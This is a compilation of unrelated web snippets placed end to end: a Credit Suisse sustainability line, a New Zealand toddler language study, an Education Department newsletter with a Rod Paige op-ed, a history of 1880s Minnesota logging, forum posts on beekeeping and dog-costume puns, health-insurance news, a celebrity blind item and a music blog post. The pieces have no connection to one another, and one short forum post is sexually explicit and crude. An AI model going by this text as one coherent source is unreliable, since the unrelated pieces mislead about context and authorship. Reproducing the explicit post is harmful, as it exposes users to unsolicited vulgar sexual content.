- Furthermore, both Efficiency Management and Information Technology (IT) contribute to the management of environmental and social issues by keeping appropriate oversight of critical suppliers and their environmental and social standards, as required by the Credit Suisse Supplier Code of Conduct, and by integrating energy efficiency factors as key elements of cost effectiveness considerations when planning data centers and other IT infrastructure.
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Speech experts hope a project studying the speech patterns of thousands of New Zealand toddlers will help in faster treatment of problems young children might encounter when they learn to talk.
The University of Canterbury will survey 3000 children aged 16 months to 30 months in the first comprehensive study on early language development in New Zealand.
Professor of communication disorders Tom Klee said when the study was finished he hoped to be able to compare the language development of New Zealand children to those in other countries.
It will look at when children first start speaking and when they start combining words into short sentences.
Researchers hoped the study would be able to tell them how many words New Zealand toddlers knew by the time they were 2 and a half.
Professionals who worked with young children, such as speech and language therapists, early childhood educators and developmental psychologists, have had to rely on studies of American, Australian and British children rather than data from New Zealand communities.
Professor Klee said scant factual information was available about early language development in New Zealand children.
"We don't know when Kiwi children actually first start using words on average or when they start combining words into short sentences.
Professor Klee said that without knowing what the early language milestones were here, it was difficult to assess the situation when a child was not talking like other children the same age.
"It's difficult to know what advice to give parents."
Many children had difficulties in learning to talk and delays in early talking could sometimes be the first sign of problems in other areas such as hearing, learning or developing relationships with other children, he said.
Speech and language therapist and owner of Wellington-based Kidz Talk Sarah Campbell said the project would have a huge impact.
"We are relying on other people's data for New Zealand children and we don't actually know what's appropriate for our children."
She hoped the results would help therapists to target the New Zealand population specifically.
Victoria University Associate Professor in Linguistics Paul Warren said the study would hopefully help in targeting New Zealand pronunciation.
"Getting a target database for New Zealand English speakers seems to make very good sense."
He said children in comparable countries such as Britain and the United States should all start speaking about the same time as children here, but the way words were spoken was obviously different.
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IndyALT.NET Site is live!
IndyALT.NET is now live!
Right now it's being hosted in somebody's house (thx to Paul Hacker, MSMVP, for sharing his servers temporarily!) We're excited about our first two events! Next month we're having Mike Griffin come in for some training on the EntitySpaces OR Mapper. In July we are planning on having Todd Anglin come in and show us some good stuff with some of Telerik's products. And who knows what else we're going to do!
Interesting and busy times to come!


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Seattle's Flexibility Plan First to Win Approval
It's Not About the Money
Close-Up: No Child Left BehindAdequate Yearly Progress
Studying Tech's Impact
On the Horizon
Just Released! New Guide Helps Schools Plan for Crises
Seattle's Flexibility Plan First to Win Approval
Last month the Seattle Public School District became the first in the nation to win approval of its plan to use an unprecedented flexibility provision of the No Child Left Behind Act. The law's Local Flexibility Demonstration Program (Local-Flex) allows approved school districts to consolidate certain federal formula grant funds for use in meeting local priorities in exchange for increased accountability for student academic progress.
To be eligible for the program, local school districts must submit an application that consists of a five-year plan that shows how the district would consolidate funds to improve student achievement and make continued academic progress as defined by the state. The application must also show how the district would narrow achievement gaps among students.
Seattle's Local-Flex plan seeks to improve the quality of teaching and learning in schools that failed to make adequate yearly progress and in those that may have met adequate yearly progress but still failed to meet the needs of the lowest performing, underserved students.
The plan's strategies include improving teacher knowledge and skills in research-based practices and strategies; using data to improve instruction; improving teacher quality; and enhancing the use of technology in instruction. These activities will translate into additional services for the targeted schools, such as expert coaching for teachers in reading and mathematics and mentors for beginning teachers.
It's Not About the Money
By U.S. Secretary of Education Rod Paige
The following is adapted from an op-ed piece by U.S. Secretary of Education Rod Paige that appeared in the Oct. 29, 2003, edition of The Wall Street Journal:
Typical of Washington's Beltwayspeak, a cry has gone up, saying that the No Child Left Behind education reform bill is "underfunded." Nothing could be further from the truth.
President Bush has increased K-12 education spending by 40 percent since he took office. In raw terms, this president has increased education spending by $11 billion. As a nation, we now spend $470 billion dollars a year on K-12 education locally and federallymore than on national defense.
What is "underfunded" about that?
The educational establishment in favor of the status quo says that the law is underfunded because it was appropriated at a level below what was "authorized." As someone who is not a creature of Washington politics, let me translate this into plain English: An authorization is usually a "limiting" numberthe legal maximum level of funding. To use a highway metaphor, it is a guardrail that keeps wildly spending appropriators from driving the federal budget over the cliff. Only those reckless enough to grind against the guardrail would want to reach those levels. The appropriation is usually a number that is closer to the median of the road, the realistic figure needed to do the job. Appropriations are rarely anywhere close to authorization levels, and that is true across the entire federal government.
For example, back in 1994 (the last time the Elementary and Secondary Education Act was up for renewal), the bill had a fiscal year 1995 authorization level of $7.4 billion for Title I (for at-risk students living in high-poverty areas). Congress appropriated just under $6.7 billion. Where was the Greek chorus of "underfunders" back then?
Education should not be a spending race. Clearly, just throwing money into the educational systemthe modus operandi for three decadeshas left us with a legacy of public school systems where some children get a great education while others, mostly from poor neighborhoods, are being left behind. A recent report from the Organization for Economic Cooperation and Development shows that the U.S. is one of the top spenders in the world in education, yet our 15-year-olds rate merely average versus their international peers on tests of reading, math and science.
If money spent were the main indicator of a good education, we would see areas with the highest per-pupil expenditures record the highest test scores. The Jersey City school district (which overspends the U.S. average by $5,000 and the New Jersey state average by $2,000) participated in a Trends in International Mathematics and Science Study recently that compared eighth-graders across the world in a number of subjects. Jersey City students' scores in science, for example, are close to the bottomcomparable to students in Iran, Indonesia, Jordan, Turkey and Tunisia. Jersey City kids also have double the dropout rate compared to kids in the rest of New Jersey.
Looking closer to home in terms of comparisons, the District of Columbia, which spends near the top on its K-12 students, has the dubious distinction of having the lowest scores in the nationincluding U.S. territories like Guam and Puerto Ricoin reading and math. Thus, if money were the answer to getting a solid education, most students in Jersey City and D.C. would all be admitted to Harvard or Stanford. Don't be duped; it's not that we don't spend enough. We spend enough for better results. We spend more than virtually all other nations, and still get poor results.
For the first time in our history, thanks to No Child Left Behind, every state has an accountability plan that holds all schools and students to high standards. Schools and teachers now have detailed information about their students' achievement so that they can adapt their lessons and better serve all their students. Parents are also getting information about how well their school is performing and about the qualifications of their child's teacher. And parents of students attending high-need schools will receive a letter telling them they have options if their child's school hasn't made sufficient progress over the last couple years. Armed with information and options, parents are forcing change in the schools, just as schools will be forced to change by law.
This is a time to join together, not play semantic games for political posturing. We should all work to solve the educational inequities in this country. Education should not fall prey to partisan bickering and diversionary gamesmanship. The future of our children and our nation is too important for division and sparring by policy makers. Thanks to the president and the Congress we have the right tools for the job. Now, let's replace vitriol with vision, and wisecracks with wisdomfor the sake of the children.
Close-Up: No Child Left BehindAdequate Yearly Progress
|"A hopeful America is an America in which each child can read and write and add and subtract. A hopeful America is where children say 'I'm going to get an education early and I'm going to go to college.' A hopeful America is where people can dream and realize their dreams because the education system is fulfilling its promise."
President Bush, in a speech about No Child Left Behind during his visit to Hyde Park Elementary in Jacksonville, Fla., in Sept. 2003.
The accountability provisions of No Child Left Behind require school districts and schools to achieve adequate yearly progress (AYP), the minimum level of improvement that must be met every year. In technical terms, AYP refers to the percentage of students who must reach the state's definition of academic proficiency each year in order for all students to be proficient by 2013-14. States must specify annual objectives to measure the progress of all students, including specific subgroups of studentsdefined by poverty, race and ethnicity, disability and limited English proficiencyin order to ensure that every child reaches proficiency in reading and math by 2013-14.
This year, for the first time, every state is required to publicly report which schools have not made AYP. In light of this milestone, The Education Trust, a nonprofit organization, recently released a report describing the effects of the law's AYP requirement on school systems across the country. "The message is clear," the report's authors write, "schools and districts will no longer be considered successful unless they successfully teach all groups of students. Ask parents and voters, and they'll tell you that's just how they want it."
The report concludes that No Child Left Behind "is having positive effects by focusing attention on the goal of holding all schools within a state to the same standards of student achievement."
The 10-page report, What New "AYP" Information Tells Us About Schools, States, and Public Education, presents case studies of schools in Florida, Virginia, Washington, Maryland and Ohio.
For a complete text, visit The Education Trust's Web site at www.edtrust.org; select the link "Reports and Publications" and then choose "No Child Left Behind."
Studying Tech's Impact
U.S. Secretary of Education Rod Paige announced last month that nine states will share $15 million in grants to conduct evaluations of how technology affects student achievement in elementary and secondary education. The evaluations, in turn, will assist other states and school districts in evaluating their own education technology programs.
The competitive, three-year grants are part of the No Child Left Behind Act's Enhancing Education Through Technology (Ed Tech) program, and are intended to increase states' ability to design, conduct and acquire high-quality evaluations of education technology.
Grant recipients are required to plan and conduct an evaluation of how their education program uses technology to increase student achievement in one or more core academic subjects; to test and document the methods, practices and instruments used to assess the impact of the technology on student achievement; and to share this information with other states.
A complete list of grant recipients and program descriptions is available at www.ed.gov/news/pressreleases/2003/11/11102003.html.
On the Horizon
|Did You Know?
Under the safe harbor provision of the adequate yearly progress (AYP) formula, schools can make AYP if they reduce the percentage of students who are not proficient by 10 percent from the previous year, even if the achievement level of the students is below the state target.
January 20
8:00-9:00 p.m. E.T. Education News Parents Can Use monthly broadcast will celebrate the second anniversary of No Child Left Behind. Visit www.ed.gov/news/av/video/edtv/03-04-schedule.html or call 1-800-USA-LEARN for details.
Just Released!
New Guide Helps Schools Plan for Crises
As part of its continuing efforts to help keep our teachers and students safe, the U.S. Department of Education recently released a new guide to assist schools in planning for any emergency, including natural disasters, violent incidents and terrorist acts.
Using key concepts of good crisis planning, Practical Information on Crisis Planning: A Guide for Schools and Communities lists four areas of crisis management that all school crisis plans should address:
- MitigationPrevention, which addresses what schools and districts can do to reduce or eliminate risk to life and property;
- Preparedness, which focuses on the process of planning for the worst-case scenario;
- Response, which is devoted to the steps to take during a crisis; and
- Recovery, which deals with how to restore the learning and teaching environment after a crisis.
The Achiever is published semi-monthly during the school year for parents and community leaders by the Office of Intergovernmental and Interagency Affairs, U.S. Department of Education (ED). Rod Paige, Secretary.
For questions and comments, contact: Nicole Ashby, Editor, U.S. Department of Education, 400 Maryland Avenue, S.W., Room 5E217, Washington, DC 20202, 202-205-0676 (fax), email@example.com.
For address changes and subscriptions, contact: ED Pubs, P.O. Box 1398, Jessup, MD 20794, 1-877-4ED-PUBS (1-877-433-7827), email@example.com.
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A toast to John Moeller: A life lost at Sibley Lake 125 years ago on Jan. 9
In the winter of 1887 the Gull River Lumber Company (GRLC) employed large crews of men to harvest pine logs on streams and lakes tributary to Gull Lake.
The loggers were farmers, immigrants and Ojibwe, or adventurous young men seeking winter jobs. They spent their days in the woods and their nights in primitive base camps. They labored mostly with muscle power and hand tools.
Newspaper accounts of the time reveal the dangers of working in the woods, on log drives, and in saw mills.
During the winter of 1887, falling trees broke a man's leg near Deerwood, seriously injured a man near Fort Ripley, and killed a man on Daggett Brook south of Brainerd. A man was nearly killed near Gull Lake when run over by a sled load of logs. Horrific milling accidents claimed and maimed several men in Brainerd.
Despite such conditions, by mid-February the GRLC crews had already cut, hauled, and banked 12,000,000 board feet of logs on waterways near Gull Lake.
With the coming spring thaw, the logs would be floated into the lake and then downstream to a saw mill at Gull River, a prosperous village on the mainline of the Northern Pacific Railroad. By early April, the logging camps would close and most of the loggers would return home or find other summer employment.
In the winter of 1887, the GRLC had a logging camp on Lake Sibley near present-day Pequot Lakes. One man who worked at the camp that winter was a 21-year-old Iowan named John Moeller. John, the oldest son of Hermann and Susannah Moeller, was born in Ohio in 1866. John's German-immigrant father, Hermann, died in 1870.
After Hermann's death, Susannah took their three young sons to Iowa. There she married Henry C. Krech, a Prussian immigrant who ran a steam saw mill. Henry's children from previous marriages included his son, Charles "Charley" Krech. An 1885 census shows John Moeller and Charles Krech living in the Krech household in Bremer County, Iowa. John and Charles are listed as sawyers.
Maybe John was thinking about his family or a sweetheart when he rolled from his bunk at Lake Sibley on Monday morning Jan. 9, 1888. Maybe he was wishing that it was Sunday again so that he had more leisure time to write a letter, wash some clothes, shave, or relax. No one in the camps went anywhere on Sundays, and besides there were few places to go other than Brainerd or Gull River both of which were miles away.
For John, the work day probably began like any other. After a hot breakfast with coffee the woodcutters trekked from the camp into the forest to fell pine trees. They normally toiled from sunrise to sunset. John and a fellow sawyer were armed with a two-man crosscut saw, what some called "a Swedish fiddle."
What happened next is only narrowly described in a later issue of the Brainerd Dispatch. Sometime during the day, John and his coworker were engaged in felling a large pine when the trunk of the partly sawed tree "split up and broke and came down on Moeller." The crushing weight of the tree slammed him to the ground, "killing him instantly." His coworker's identity is unknown, but the newspaper account implies that John's stepbrother, Charley Krech, was working nearby.
In any case, John Moeller's remains were taken to Losey & Dean, undertakers in Brainerd. Charley was summoned, and on Tuesday night he boarded a train to accompany the deceased to Waverly, Iowa. Soon after, the grief-stricken family interred John in the quiet, rural, East Janesville Cemetery north of Waterloo. His grave is marked by a tall and elegant granite headstone and marble footstone.
Charley Krech later returned to Minnesota and homesteaded land near the present site of the Brainerd International Raceway (BIR) just below North Long Lake. An 1895 census lists Charley as a farmer, but he also engaged in logging. He knew the value of a good education and made room for a country school on his land. A second version of the old Krech School still stands on the east side of Highway 371 just south of BIR.
Shortly after Moeller's death, the local harvesting of pine logs was enhanced with the introduction of logging railroads. Between 1889 and 1894 two remarkable logging railroads were operated in the forests northwest of Brainerd and Gull Lake. One, the Gull Lake & Northern, headquartered on Lake Margaret, was the only narrow gauge logging railroad built within the State of Minnesota. The other, the Brainerd & Northern Minnesota, at the time one of the most important logging railroads in the world, was a standard-gauge line that ran from Brainerd via Lake Hubert and the city of Lake Shore to Spider Lake west of Pine River. Unfortunately, the business records of these pioneering railroads were destroyed in a disastrous fire in 1917.
Brainerd-native Jeremy Jackson and I are now researching the history and geography of this early logging frontier. We seek old photographs and documents and interviews with descendants of persons associated with early logging and settlement activities in this region. With the help of volunteers we are also mapping the abandoned grades of the old railway systems. Our goal is to publish an illustrated history that reveals the big picture, yet tells stories of men like John Moeller and Charley Krech.
If you have correspondence, stories, images, maps, artifacts or other information relevant to this project that you would like to share please email firstname.lastname@example.com. You can also follow us on our Facebook page: Lost Railroads of Gull and Spider Lakes in Cass and Crow Wing Counties, MN
As for John Moeller: we are deeply moved by the details of his short life and his tragic and long-forgotten demise at Lake Sibley. Indeed, we planned to raise a glass to his memory on Jan. 9, 2013, 125 years after the fact. Here's a toast to you John Moeller.
DOUGLAS BIRK is former director of the Institute for Minnesota Archaeology and is working with Jeremy Jackson to write an illustrated two-volume book on the logging railroads.


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I hear and understand the frustration being expressed in Threads this season. Having ones expectations unfulfilled is very disappointing and discouraging. You made an order and plans and your credit card got charged and you didn't get what you ordered or it didn't come when you wanted it or something. It's tuff and it just shouldn't be that way. Not in todays world of instant everything.
But it is that way. It does happen. When have plans dependent on time factors, geographic factors and other people, not to mention Tornadoes, ever gone the way one planned? I always think of the joke I heard. "If you want to make GOD laugh, tell me what you are going to do tomorrow.".
Consumers deserve alot of understanding and solutions and education and answers to why and when and such. But, they also need to understand certain realities of life and business and how weather impacts our industry and personal lives.
If we are in this for the long haul, being beekeepers, we need to build personal relationships w/ those we do business with. Those businesses aren't just computers and mailboxes, but people just like you and me who go thru all the same things you and I go thru and do the best they came, usually, under all sorts of circumstances.
I don't begrudge anyone their right to kvetch/complain or rant, but, as we have seen in some cases, there is alot more to the story than ones' own perspective.
Keep in mind that it's a two way street. Be nice and polite and understanding on the way up and people will treat you the same on your way down.
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Dude, my girl and I were going at like crazy last night! I tea jacked the piss out of her busting my cum all over her wet pussy! It was much better then just tea bagging her!
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pup tent
corn dog
night of the living dog
HR pup-n-stuff
Chili dog
Did anyone say Tim T-Bone?
Bark Obowma
how about
Bones McCoy?
Snarls Barkley
Snoop Dawg?
Frankenstein's Muttster
Jack the Nipper
Alice Pooper
Harry Pooper
Mars Rover
Also: Arf2-Dog2
How about the French/Spanish dectective Hercule "Perro"
cuppatea wrote:Doggie Howser, M.D.
I raise you one pun level:
Doggie Schnauzer, M.D.
Dog the Bounty Hunter...leather vest and feather earrings...
How about The Woofman? or Woofman Jack?
Put a copy of the catechism of the church on him and he could be the dogma.
Wylie Dogote
Sponge Dog Circle Tail
Freddie Dogger
Sniff Romney
Lick Cheney
Aliq M'balz
fnhoser wrote:Bob Barker
Rennis Dogman - I mean this dog dribbles all over the place...
Bichon "Puffy" Combs (or, for gender variation, Bichonce Knowles); Yahoo Sirius if you're into classical references; or, if your dog has a high tolerance for velour, Captain Yap Brannigan (with optional sidekick/assistant Snif).
At least call him Fido DoGstoyevsky. Gotta get the double pun in there.
Dr. Doggie-Doo-Doolittle
General Robert E. Flea
Marie or Pierre Cur-ie
Spaniel in the lions' den
Terriercotta Warrior
subwoofer (either a sandwich or submarine costume)
Tom Barkeron of Wagging with the Stars
Simon Howl of American Kennel
Humpin' Jack Flash?
Bruce Springer-Spaniel
Garth Barks
Barkie Mastiff (Bernie Madoff)
Cheri Oterrier
Rupert Murdog
Thom Yorkie or Thom Yorkshire
Billy Corgi
Bark Vader
Boxer Bite Tyson (my ears are ringing from this one!)
Dogzilla Wire Fox (Terrier)
Bark Norris
Barcon (bacon)
Pug-sley Adams
Komondor 64
A-lesh-a Keeshond / I'll-lesh-ya Keeshond
Spaniel Bone (Daniel Boone)
Spaniel Bulldogs (Football player Daniel Bullocks)
Barkman (Batman)
Dogtor Drew Pincher
1)Have him "speak"
2) claim he is a tree
(what... you didn't notice the bark...)
The Donald and the Tramp
(Donald Tramp)
Missed this yesterday but anyway:
If you don't have a costume then you go as Lady Macbeth.............. because the Dog is obviously Spot. And he has to go out.
Probably way too obscure unless you live in a theater district.
dhcolbert wrote:Bark Obowma
Pup-pa Middleton
Feed him 20 big macs and a gallon of Mt Dew and dress him up in a pink tutu...
Honey poo poo!
Went through the entire topic, and I think these are the only two where I am stumped on who/what is the "real life equivalent":
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Barking Spider
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Sharpie Shar Pei
Abrahound Lincoln
Hairy Houndini (especially if your dog is an escape artist!)
Puppy Longstocking
Beagle Bailey
Snake Pliskin played by Cur Russell Terrier
HomerTime wrote:Went through the entire topic, and I think these are the only two where I am stumped on who/what is the "real life equivalent":
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So, dress up the dog in a spider's outfit, and well, take it from there . . .
HomerTime wrote:Went through the entire topic, and I think these are the only two where I am stumped on who/what is the "real life equivalent":
Sharpie Shar Pei
It's a Shar Pei (wrinkle dog)
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As a dad and a geek I would love to find more time to spend time with my kids, find more time to paint my new wargaming army, or prepare for my role-playing campaign. But a former US developer working for
Verizon a US-based company found a way to have his cake and eat it too. He did this by outsourcing his development work to a firm in China for roughly one-fifth of what he was being paid here in the US.
It wasn't until the IT security department did an audit on their VPN network and discovered a live connection from Shenyang, China. This led to an investigation that uncovered that Bob (identity withheld) was pulling down a six-figure income for gaming the system with little to no oversight. The affected company sought out help from Verizon's RISK team in understanding the anomalous activity that they witnessed in their VPN logs. Continue Reading "US Developer Gets Paid to Watch Cat Videos by Outsourcing His Job" »


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Marketplace insurance sign-up begins
BRISTOL, Tenn. - People all across the country spent the day signing up for insurance through the new marketplace as a part of the Affordable Care Act. Tuesday was the first day to sign up and the website was flooded with people trying to get an insurance plan.
Many people in our area received a 'please wait' message when they tried to sign up for insurance through the marketplace. "There is going to be a lot of problems the first couple of weeks with the website. There's going to be a lot of people in the country that are trying to get insurance," says insurance agent Eric Cuddy.
One of those people trying to sign up for insurance is Fina Mendes, who tells us she's concerned the process will be difficult. "It's very confusing. I'm not sure if I'm going to qualify or not qualify," adds Mendes.
There are a lot of things you'll need to sign up. First, an email address and password that is difficult to figure out. "The password has to be a certain number of letters followed by a number followed by an exclamation point or something like that," says Cuddy.
Cuddy tells us you'll need to know the number of people in your house and the total household income. "The income is for the entire household so that's husband, wife, and if you have any children working making money from a job," adds Cuddy.
Cuddy tells us the insurance plans aren't much different than the individual health market in place now. "It's just now it's based on your individual age and if you smoke or not," says Cuddy.
Cuddy tells us the new insurance plans will benefit people who may have a pre-existing condition or elderly people. "50 and above for age, the rates are going to be pretty good. The lower age the rates are going to be a little high but there will be something there for everyone," adds Cuddy.
Meanwhile, Mendes tells us she's hoping for the best. "I'm just going to go back on the website and fill out what I can find, and see what happens and go from there," says Mendes.
Cuddy says there will be several different plans people will be able to choose from. He says they can be confusing so he encourages everyone to look through them carefully or if you need help to understand contact an insurance agent.
You have until December 15 to sign up for insurance if you want coverage starting January 1. You have until the end of March to sign up to avoid a tax penalty.
We also learned once you're signed up, you do not have fill the information out again unless you want to change your plan.
One thing Cuddy wants to stress to people -- if you are enrolled in Medicare, this doesn't affect you and you don't need one of these plans.
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This former B list mostly television actress from a very hit show for an almost network is not on the same page with her A list mostly movie actor husband when it comes to certain things in their marriage. He wants a family. She does not. She wants to be famous and be an actress and model and before she has any kids he is going to have to find her a huge role. If it is a big enough hit, I'm guessing she would leave him because she is getting tired of the being hidden away and brought out for parties.
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Re-file this one into Awesome Everything Alert. Boston's BAD RABBITS -- and we say they're ours because it feels like they'll rightfully be everyone's very soon -- last week dropped a second single for new LP American Love, picking up right where "We Can Roll" left off. The Valentine's-Day-appropriate "Fall In Love" is another slow-burning banger ballad, another top-shelf strike of modern R&B that's primed for global recognition. At the risk of sonically impregnating everyone that hears it, we've made it the Boston Accents Song of the Day today on WFNX.
American Love drops May 14, and the band just announced a 13-date East Coast tour that runs the next few weeks, including a Norwegian cruise run with 311. There's no Boston date just yet, as the closest they come to home are the last two shows, Northampton and Providence, but we have a feeling the Rabbits will be announcing some other fantastic hometown news very soon.
In the meantime, let's... just... fall... in love...
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